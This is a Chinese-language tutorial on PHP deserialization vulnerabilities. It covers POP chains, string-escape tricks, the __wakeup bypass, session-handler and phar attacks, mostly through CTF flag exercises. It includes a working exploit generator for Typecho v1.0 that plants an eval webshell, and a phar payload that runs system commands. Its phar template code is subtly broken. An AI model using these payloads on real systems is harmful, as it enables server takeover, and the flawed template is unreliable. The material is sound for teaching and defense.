PHP中的反序列化漏洞
目录
-
PHP 中的序列化与反序列化
-
概述
-
序列化
-
基本类型的序列化
-
对象的序列化
-
-
反序列化
-
示例序列化与反序列化
-
-
反序列化漏洞
-
- PHP 中的魔术方法
-
- Typecho_v1.0 中的反序列化漏洞
-
-
POP链的构造思路
-
pop链案例
-
反序列化逃逸
-
字符串逃逸(减少)
-
字符串逃逸(增多)
-
字符串逃逸(增多案例)
-
字符串逃逸(减少案例)
-
-
-
weakup魔法函数的绕过
-
漏洞产生原因
-
案例
-
-
session反序列化
-
session存取数据的格式
-
1、php存储方式
-
2、php_serialize存储方式
-
3、php_binary存储方式
-
-
PHP session反序列化漏洞
-
案例一:
-
案例二:
-
-
-
Phar反序列化
-
什么是Phar
-
Phar文件的结构
-
Phar漏洞原理
-
phar漏洞利用案例
-
案例一:
-
案例二:
-
-
Phar使用条件总结
-
PHP 中的序列化与反序列化
概述
PHP 反序列化漏洞也叫 PHP 对象注入,是一个常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。
漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell 等一系列不可控的后果。
反序列化漏洞并不是 PHP 特有,也存在于 Java、Python 等语言之中,但其原理基本相通。
PHP 中的序列化与反序列化,基本都是围绕 serialize()
和 unserialize()
两个函数展开的。
序列化
基本类型的序列化
类型 | 示例 | 序列化后的格式 |
---|---|---|
null | null | N; |
整型 | 123 | i:123; |
浮点型 | 3.14159 | d:3.1415899999999999 |
字符串 | “leyilea” | s:7:“leyilea”; |
布尔型 | true | b:1; |
false | b:0; | |
数组 | array(1,true,“leyilea”); | a:3:{i:0;i:1;i:1;b:1;i:2;s:7:“leyilea”;} |
对象的序列化
不同属性序列化的区别
<?phpclass Person{private $name = "leyilea"; // 私有属性public $age = 18; // 公有属性protected $add = "bj"; // 受保护的属性public function test(){echo "hello".$this->name;}
}$a=new Person();
echo serialize($a);
- 成员方法不会被序列化
- 私有属性序列化后会在变量名前加
%00类名%00
- 受保护的属性序列化后会在变量名前加
%00*%00
O:6:"Person":3:{s:12:" %00 Person %00 name";s:7:"leyilea";s:3:"age";i:18;s:6:" %00*%00 add";s:2:"bj";}
一个对象在实例化一个类的时候,调用了另一个类实例化的对象。
<?php
class Person{public $age = 18;
}
class Test{var $a;function __construct(){$this->a = new Person();}
}$a=new Test();
echo serialize($a);
序列化的结果:
O:4:"Test":1:{s:1:"a"; O:6:"Person":1:{s:3:"age";i:18;} }
反序列化
反序列化生成对象的值,由反序列化里的值提供,与原有类预定义的值无关。
<?php
class Person{public $name = "leyilea";private $age = 18;protected $add = "bj";public function test(){echo "hello".$this->name;}
}
$a = 'O:6:"Person":1:{s:4:"name";s:8:"system()";}';
var_dump(unserialize($a));
反序列化之后的结果:
object(Person)#1 (3) {["name"]=>string(8) "system()"["age":"Person":private]=>int(18)["add":protected]=>string(2) "bj"
}
反序列化不触发类的成员方法(不包含魔术方法),需要调用才会触发。
示例序列化与反序列化
序列化会将一个抽象的对象转换为字符串。
首先创建一个类:
<?php
class Student{public $name;public $sex;public $age;public $score;
}
?>
类名是 Stuent,该类中有四个变量,将这个类实例化(创建一个对象), 将对象序列化为字符串:(当我们直接输出 $stu1 时会 error,对象无法转换为字符串)
<?php
$stu1 = new Student();
$stu1 ->name = "tom";
$stu1 ->sex = true;
$stu1 ->age = 18;
$stu1 ->score = 89.9;
echo serialize($stu1);
?>
运行结果:
O:7:"Student":4: # Object:类名长度为7:"类名为Student":4个属性
{s:4:"name";s:3:"tom";s:3:"sex";b:1;s:3:"age";i:18;s:5:"score";d:89.900000000000006;}
{string:属性1长度:"属性1";.....}
反序列化:
$str =<<<HTML
O:7:"Student":4:{s:4:"name";s:3:"tom";s:3:"sex";b:1;s:3:"age";i:18;s:5:"score";d:89.900000000000006;}
HTML;
var_dump(unserialize($str));
运行结果:
object(Student)#2 (4) {["name"]=>string(3) "tom"["sex"]=>bool(true)["age"]=>int(18)["score"]=>float(89.9)
}
整体代码:
<?php
class Student{public $name;public $sex;public $age;public $score;
};
$stu1 = new Student();
$stu1 ->name = "tom";
$stu1 ->sex = true;
$stu1 ->age = 18;
$stu1 ->score = 89.9;
var_dump($stu1);
echo "<hr />";
echo serialize($stu1); //序列化$str =<<<HTML
O:7:"Student":4:{s:4:"name";s:3:"tom";s:3:"sex";b:1;s:3:"age";i:18;s:5:"score";d:89.900000000000006;}
HTML;
echo "<hr />";
var_dump(unserialize($str)); //反序列化
?>
反序列化漏洞
这里我们定义一个类,一个属性,一个方法,由于反序列化要使用序列化后的字符串比较麻烦,我们可以将序列化的结果用一个变量接收 $t
:
<?php
class Test{public $str = "hello";function __destruct(){@eval($this -> str);}
}$test = new Test();
$t = serialize($test);
echo $t;
echo "<hr />";
var_dump(unserialize($t));
?>
运行结果:
那么我们是不是可以修改变量 $t
为一个更灵活的方式 $_GET[obj]
,然后可以通过 obj 赋值:
<?php
<?php
class Test{public $str = "hello";function __destruct(){@eval($this -> str);}
}$test = new Test();
echo serialize($test);
echo "<hr />";
$t = $_GET['obj'];
echo $t;
echo "<hr />";
var_dump(unserialize($t)); //反序列化生成一个对象
?>
赋值并运行:
如果我们修改其中的值:修改为 phpinfo()
结果:为我们编译了 phpinfo()
查找原因:该类中只有一个方法 __destruct()
,方法中有一个函数 eval,所以只可能是它,但我们并没有去调用该方法,它是怎么执行的?
PHP 中的析构函数(destruct),当对象结束其生命周期时,系统自动执行析构函数;它与构造函数(construct)刚好相反,构造函数是在对象创建时自动调用。
- PHP 中的魔术方法
以 __
开头的方法,是 PHP 中的魔术方法,类中的魔术方法,在特定情况下会被自动调用。主要魔术方法如下。
__construct() 在创建对象时自动调用
__destruct() 在销毁对象时自动调用
__call() 在对象中调用一个不可访问方法时,call() 会被调用
__callStatic() 在静态上下文中调用一个不可访问方法时调用
__get() 读取不可访问属性的值时会被调用
__set() 在给不可访问属性赋值时会被调用
__isset() 当对不可访问属性调用isset() 或empty()时会被调用
__unset() 当对不可访问属性调用unset() 时会被调用
__sleep() serialize()函数会检查类中是否存在一个魔术方法__sleep(),如果存在,该方法会先被调用,然后才执行序列化操作
__wakeup() unserialize()函数会检查是否存在一个__wakeup() 方法,如果存在,则会先调用__wakeup方法,预先准备对象需要的资源。
__toString( ) toString()方法用于一个类被当成字符串时应怎样回应。
__invoke() 当尝试以调用函数的方式调用一个对象时会被自动调用
_set_state() 自PHP 5.1.0起当调用var_export()导出类时,此静态方法会被调用。
__clone() 当复制完成时,如果定义了__clone() 方法,则新创建的对象(复制生成的对象)中的__clone()方法会被调用,可用于修改属性的值(如果有必要的话)。
参考:https://www.freebuf.com/articles/web/167721.html
- Typecho_v1.0 中的反序列化漏洞
- 搭建网站(需要手动创建数据库)http://typecho.org/
-
我们使用 exp 生成反序列化后的对象 (字符串),并且进行 base64 编码。
EXP 代码:
<?php class Typecho_Feed{const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);} }class Typecho_Request{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'phpinfo()';$this->_filter[0] = 'assert';} }$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_' );echo base64_encode(serialize($exp)); ?>
生成的 poc:
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
-
漏洞存在
我们将 poc 代码赋值给
__typecho_config
变量,然后通过 POST 方式提交到链接http://192.168.40.129/Typechov1/install.php?finish=
,并且设置Referer=http://192.168.40.129/typechov11/
成功弹出 phpinfo 界面。
-
注入一句话木马
$this->_params['screenName'] = "fputs(fopen('shell.php','w'),'<?php @eval(\$_REQUEST[777])?>')";
再次生成 POC,注入参数:
-
成功生成 shell.php,使用中国蚁剑连接
POP链的构造思路
pop链案例
<?php
class Modifier{private $var;public function append($value){include($value);echo $flag;}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __toString(){return $this->str->source;}public function __wakeup(){echo $this->source;}
}class Test{public $p;public function __construst(){$this->p=array();}public function __get($key){$function=$this->p;return $function();}
}if(isset($_GET['pop'])){echo $_GET['pop'];unserialize($_GET['pop']);
}highlight_file(__FILE__);
error_reporting(0);
?>
构造payload
<?php
class Modifier{private $var="flag.php";
}class Show{public $source;public $str;
}class Test{public $p;
}$a = new Modifier();
$b = new Show();
$c = new Test();
$c->p = $a;
$b->source = $b;
$b->str = $c;echo serialize($b);?>
反序列化逃逸
反序列化分隔符
- 反序列化以
;}
结束,后面的字符串不影响正常的反序列化。
属性逃逸
- 一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸。
反序列化的几个特性:
<?php
$flag = "flag{1uiodjkahsdou1q}";class A{public $v1 = "a";
}
echo serialize(new A());
// O:1:"A":1:{s:2:"v1";s:1:"a";}$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";N;}';
var_dump(unserialize($b));
// bool(false) 因为成员数量不对$b = 'O:1:"A": 2 :{s:2:"v1";s:1:"a";s:2:"v2";N;}';
var_dump(unserialize($b));
// 正常执行$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s: 5 :"v2";N;}';
var_dump(unserialize($b));
// bool(false) 因为长度值和实际长度不一致$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";N;} s:2:"v2";N;} ';
var_dump(unserialize($b));
// 正常执行,在前面字符串没有问题的情况下,;}是反序列化结束符,后面的字符串不影响反序列化结果
<?php
$flag = "flag{1uiodjkahsdou1q}";class A{public $v1 = "a\"b";
}
echo serialize(new A());
// O:1:"A":1:{s:2:"v1";s: 3 :"a " b";}
// 引号是字符还是格式字符,由前面的长度3来确定
属性逃逸
一般在数据先经过一次seralize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候才有可能存在反序列化属性逃逸。
字符串逃逸(减少)
反序列化字符串减少逃逸;多逃逸出一个成员属性。第一个字符串减少,吃掉有效代码,在第二个字符串构造代码。
<?php
class A{public $v1 = "hellosystem()";public $v2 = "666";
}$data = serialize(new A());
$data = str_replace("system()","",$data); // 将system()替换为空
echo $data;
?>
O:1:"A":2:{s:2:"v1";s:13:"hellosystem()";s:2:"v2";s:3:"666";}
// 经过替换,字符串如下
O:1:"A":2:{s:2:"v1";s:13:" hello";s:2:"v 2";s:3:" 666 ";}
// 字符串缺失,导致结构被破坏,反序列化不成功// 通过此特点(字符串减少),进行逃逸
O:1:"A":2:{s:2:"v1";s: ? :"hello";s:2:"v2";s: XX :" ";s:2:"v3";s:3:"123 ";}
// 先补充要逃逸的功能性代码(比如这里要逃逸出v3属性)
// 然后需要多吃几个字符,使功能性代码进行反序列化O:1:"A":2:{s:2:"v1";s: ? :"hello";s:2:"v2";s: 19 :" ";s:2:"v3";s:3:"123 ";}O:1:"A":2:{s:2:"v1";s: ? :" hello";s:2:"v2";s:19:" ";s:2:"v3";s:3:"123";}
// 加上原有的 hello,一共需要吃掉22个字符
// 一个system()是8个字符,加上 hello的5个字符
// 所以最少需要3个system(),这样就需要吃掉 3*8+5= 29 个字符
O:1:"A":2:{s:2:"v1";s: 29 :" hello system()system()system() ";s:2:"v2";s:19:"";s:2:" v3";s:3:"123";}
// 这样 比之前的22个字符多了7个字符,这7个字符是多吃掉的,所以需要再后面多补7个字符
O:1:"A":2:{s:2:"v1";s: 29 :" hello system()system()system() ";s:2:"v2";s:19:" 1234567 ";s:2:"v3";s:3:"123";}
// 最终过滤了system()后剩下的内容,刚好能够反序列化自己构造的功能性代码
O:1:"A":2:{s:2:"v1";s: 29 :" hello";s:2:"v2";s:19:" 1234567 ";s:2:"v3";s:3:"123";}
<?php
class A{public $v1 = "hellosystem()";public $v2 = "666";public function __construct($arga,$argb){$this->v1 = $arga;$this->v2 = $argb;}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A());
$data = str_replace("system()","",$data); // 将system()替换为空
echo $data;var_dump(unserialize($data));highlight_file(__FILE__);
error_reporting(0);
?>
字符串逃逸(增多)
反序列化字符串增多逃逸;构造一个逃逸成员属性。第一个字符串增多,吐出多余代码,把多余代码构造成逃逸的成员属性。
<?php
class A{public $v1 = "ls";public $v2 = "666";
}$data = serialize(new A());
$data = str_replace("ls","pwd",$data); // 将ls替换为pwd
echo $data;
?>
未经过替换的序列化字符串为:
O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"666";}
经过替换后的字符串为:
O:1:"A":2:{s:2:"v1";s:2:" pw d";s:2:"v2";s:3:"666";}
字符串增多,导致结构被破坏,反序列化不成功。
通过此特点(字符串增多),进行逃逸:
O:1:"A":2:{s:2:"v1";s: ? :" ls ";s:2:"v3";s:3:"123";} ";s:2:"v2";s:3:"666";}
先构造出完整的逃逸属性,如上。
因为一个ls替换为pwd,会多出1个字符。构造出的逃逸属性需要22个字符。所以需要22个ls。即:
O:1:"A":2:{s:2:"v1";s: ? :" lslslslslslslslslslslslslslslslslslslslslsls ";s:2:"v3";s:3:"123";} ";s:2:"v2";s:3:"666";}
则v1的字符串长度为 2*22+22=65。即
O:1:"A":2:{s:2:"v1";s: 65 :" lslslslslslslslslslslslslslslslslslslslslsls ";s:2:"v3";s:3:"123";} ";s:2:"v2";s:3:"666";}
经字符串替换后为:
O:1:"A":2:{s:2:"v1";s: 63 :" pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd ";s:2:"v3";s:3:"123";} ";s:2:"v2";s:3:"666";}
此时v3会被逃逸出来,因为构造的v3字符串后有;}
,反序列化时会认为结束。
<?php
class A{public $v1 = "ls";public $v2 = "666";public function __construct($arga,$argb){$this->v1 = $arga;$this->v2 = $argb;}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("ls","pwd",$data); // 将ls替换为pwd
echo $data;var_dump(unserialize($data));highlight_file(__FILE__);
error_reporting(0);
?>
最终反序列化的结果为:
字符串逃逸(增多案例)
<?php
function filter($str){$safe = array("flag","php");$str = str_replace($safe,"hack","$str"); // 将flag和php替换为hackreturn $str;
}class Test{var $user;var $pass = 'daydream';function __construst(){$this->user = $user;}
}$param = $_GET['param'];
$param = serialize(new Test($param));
$profile = unserialize(filter($param));if($profile->pass=='escaping'){echo file_get_contents("flag.php");
}highlight_file(__FILE__);
error_reporting(0);
?>
因为题目将flag和php替换为hack,其中flag替换为hack没有发生增多或者减少的变化,所以不能用于逃逸,只能利用php替换hack,一个php替换为hack增多1个字符,所以按照字符串增多的方式逃逸。
根据题意,使用以下代码生成对应的序列化字符串。
<?php
class Test
{var $user = 'a';var $pass = 'daydream';
}
echo serialize(new Test());
O:4:"Test":2:{s:4:"user";s:1:"a";s:4:"pass";s:8:"daydream";}
补全需要逃逸的属性:
O:4:"Test":2:{s:4:"user";s:1:"a ";s:4:"pass";s:8:"escaping";} ";s:4:"pass";s:8:"daydream";}
需要逃逸出29个字符,那就需要29个php:
O:4:"Test":2:{s:4:"user";s: 116 :" phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp ";s:4:"pass";s:8:"escaping";} ";s:4:"pass";s:8:"daydream";}
替换为hack后为:
O:4:"Test":2:{s:4:"user";s: 116 :" hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack ";s:4:"pass";s:8:"escaping";} ";s:4:"pass";s:8:"daydream";}
pass属性被逃逸出来。
字符串逃逸(减少案例)
<?php
function filter($str){$safe = array("flag","php");$str = str_replace($safe,"bj","$str"); // 将falg和php替换为bjreturn $str;
}class Test{var $user;var $pass = 'daydream';var $vip = false;function __construct($user,$pass){$this->user = $user;$this->pass = $pass;}
}$user = $_GET['user'];
$pass = $_GET['pass'];
$param = serialize(new Test($user,$pass));
$profile = unserialize(filter($param));if($profile->vip){echo "flag";echo file_get_contents("flag.php");
}highlight_file(__FILE__);
error_reporting(0);
?>
<?php
class Test{var $user = 'a';var $pass = 'daydream';var $vip = false;
}echo serialize(new Test());
O:4:"Test":3:{s:4:"user";s:1:"a";s:4:"pass";s:8:"daydream";s:3:"vip";b:0;}
因为题目将flag和php替换为bj,利用php替换bj,一个php替换为hack减少1个字符,所以按照字符串减少的方式逃逸。
O:4:"Test":3:{s:4:"user";s:1:"a";s:4:"pass";s:8:"daydream";s:3:"vip";b:0;}
把需要逃逸的字符串补全(注意不能落下pass,因为需要属性有3个):
O:4:"Test":3:{s:4:"user";s:1:"a ";s:4:"pass";s:30:" ";s:4:"pass";N;s:3:"vip";b:1;} ";s:3:"vip";b:0;}
需要逃逸出19个字符,那就需要19个php。
O:4:"Test":3:{s:4:"user";s: 76 :" phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp ";s:4:"pass";s:30:" ";s:4:"pass";N;s:3:"vip";b:1;} ";s:3:"vip";b:0;}
替换为bj后为:
O:4:"Test":3:{s:4:"user";s: 76 :" bjbjbjbjbjbjbjbjbjbjbjbjbjbjbjbjbjbjbjbjbjbjbjbj";s:4:"pass";s:30:" ";s:4:"pass";N;s:3:"vip";b:1;} ";s:3:"vip";b:0;}
vip属性被逃逸出来。
weakup魔法函数的绕过
漏洞产生原因
如果存在__wakeup方法,调用unserilize()方法前则先调用__wakeup()方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup()的执行。
漏洞编号:CVE-2016-7124
影响版本:PHP5<5.6.25;PHP7<7.0.10
案例
<?php
error_reporting(0);
class secret{var $file = 'index.php';function __construct($file){$this->file = $file;}function __destruct(){include_once($this->file);echo $flag;}function __wakeup(){$this->file='index.php';}
}$cmd = $_GET['cmd'];
if(!isset($cmd)){highlight_file(__FILE__);
}else{if(preg_match('/[oc]:\d+/i',$cmd)){echo "Are you daydreaming?";}else{unserialize($cmd);}
}
?>
构造反序列化字符串payload
<?php
class secret{var $file = 'flag.php';
}echo serialize(new secret());
得到反序列化字符串如下:
O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
将字符串进行修改(将属性数量修改为2,绕过weakup方法):
O:6:"secret": 2 :{s:4:"file";s:8:"flag.php";}
题目中通过正则过滤了o:
后面直接加数字的情况,可以通过添加+
号绕过。
O: + 6:"secret":2:{s:4:"file";s:8:"flag.php";}
然后进行url编码:
<?php
echo urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}');
得到payload:
O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
提交给页面,获得flag
session反序列化
当session_start()被调用或者php.ini之后session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。
存取数据的格式有多种,常用的有三种:
漏洞产生原因:写入格式和读取格式不一致。
session存取数据的格式
1、php存储方式
<?php
session_start();
$_SESSION['aaa'] = $_GET['a'];
?>
存储的格式:
aaa|s:6:"123456";
2、php_serialize存储方式
<?php
ini_set('session.serialize_handler','php_serialize'); // 指定存储方式为php_serialize
session_start();$_SESSION['aaa'] = $_GET['a'];
$_SESSION['bbb'] = $_GET['b'];
?>
存储的格式:
a:2:{s:3:"aaa";s:6:"123456";s:3:"bbb";s:8:"zhangsan";}
相当于对数组的序列化格式:
$b = array("aaa"=>"123456","bbb"=>"zhangsan"
);
echo serialize($b);
3、php_binary存储方式
<?php
ini_set('session.serialize_handler','php_binary');
session_start();$_SESSION['aaa'] = $_GET['a'];
$_SESSION['bbb'] = $_GET['b'];?>
存储的格式:
. aaas:6:"123456"; . bbbs:8:"zhangsan";
使用010editer查看该session文件:(前面的字符为二进制的键名长度)
PHP session反序列化漏洞
当网站序列化并存储session,与反序列化并读取session的方式不同,就可能导致session反序列化漏洞的产生。
案例一:
save.php(存储session)
<?php
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION['aaa'] = $_GET['a'];?>
vul.php(读取session)
<?php
ini_set("session.serialize_handler","php");
session_start();
class A{var $a;function __destruct(){eval($this->a);}
}
?>
存储的session为:
a:1:{s:3:"aaa";s:37:"| O:1:"A":1:{s:1:"a";s:10:"phpinfo();";}" ;}
访问vul.php,session进行读取,触发反序列化,将O:1:"A":1:{s:1:"a";s:10:"phpinfo();";}"
进行反序列化,成功执行eval(“phpinfo()”);
- 因为php方式的session存储,在读取时会对
|
后面的内容进行反序列化。
案例二:
demo03.php
<?php
// 另一个页面:hint.php
session_start();
class Flag{public $name;public $her;function __wakeup(){$this->her=md5(rand(1,1000));if($this->name===$this->her){include("flag.php");echo $flag;}}
}highlight_file(__FILE__);
error_reporting(0);
?>
hint.php
<?php
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION['aaa'] = $_GET['a'];highlight_file(__FILE__);
error_reporting(0);
?>
构造序列化数据:
- 因为题目要求$name和$her需要全等,所以这里需要采用引用的方式
<?php
class Flag{public $name;public $her;
}$a = new Flag();
$a->name = &$a->her; // 引用
echo serialize($a);
序列化出来的数据为:
O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
通过hint.php页面存储session,因为读取session数据的方式为默认的PHP方式,所以在传入数据时在前面加|
然后访问页面,成功读取flag。
Phar反序列化
什么是Phar
JAR是开发Java程序一个应用,包括所有的可执行、可访问的文件,都打包进了一个JAR文件里,使得部署过程十分简单。
PHAR(“PHP ARchive”)是PHP里类似于JAR的一种打包文件。对于PHP5.3或更高版本,Phar后缀文件是默认开启支持的,可以直接使用它。
文件包含:phar伪协议,可读取.phar文件。
Phar文件的结构
- stub phar文件标识,格式为
xxx<?php xxx;__HALT_COMPILER(); ?>
(头部信息) - manifest 压缩文件的属性等信息,以序列化存储;
- contents压缩文件的内容;
- signature签名,放在文件末尾。
Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化。
Phar漏洞原理
- manifest压缩文件的属性等信息,以序列化存储;存在一段序列化的字符串;
- 调用phar伪协议,可读取.phar文件;
- Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化。
- Phar需要PHP≥5.2,在php.ini中将phar.readonly设为Off(注意删掉前面的分号)
受影响的函数
phar漏洞利用案例
案例一:
存在phar反序列化漏洞的代码:
<?php
highlight_file(__FILE__);class TestObj{var $output = "echo 'OK';";function __destruct(){eval($this->output);}
}if(isset($_GET['filename'])){$filename=$_GET['filename'];var_dump(file_exists($filename));
}
生成phar文件的模版代码:
<?php
class TestObj{var $output='';
}@unlink('test.phar'); // 删除之前的test.phar文件(如果有)
$phar = new Phar('test.phar'); // 创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); // 开始写文件
$phar->getSize('<?php __HALT_COMPLIER(); ?>'); // 写入stub$o = new TestObj();
$o->output='eval($_GET["a"]);';$phar->setMetadata($o); // 写入meta-data
$phar->addFromString("test.txt","test"); // 添加要压缩的文件
$phar->stopBuffering();
?>
浏览器访问
http://xxoo.com/a/usePhar.php?filename=phar://test.phar&a=system(%27ls%27);
1、file_exists()函数有文件包含的功能,可调用phar伪协议读取phar文件(test.phar)
2、phar协议解析文件时,会自动触发manifest字段的序列化字符串进行反序列化
3、反序列化将触发__destruct(),执行eval($this->output);
即eval('eval($_GET["a"]);');
即eval($_GET["a"]);
4、通过参数a传入需要执行的代码“system('ls');
”等,成功执行。
案例二:
<?php
class TestObject{public function __destruct(){include('flag.php');echo $flag;}
}$filename = $_POST['file'];
if(isset($filename)){echo md5_file($filename);
}
Phar使用条件总结
1、phar文件能上传到服务器端;(可以利用上传功能,文件后缀可以不是.phar)
2、要有可用反序列化魔术方法作为跳板;
3、要有文件操作函数,如file_exists(),fopen(),file_get_contents()
4、文件操作函数参数可控,且:
、/
、phar
等特殊字符没有被过滤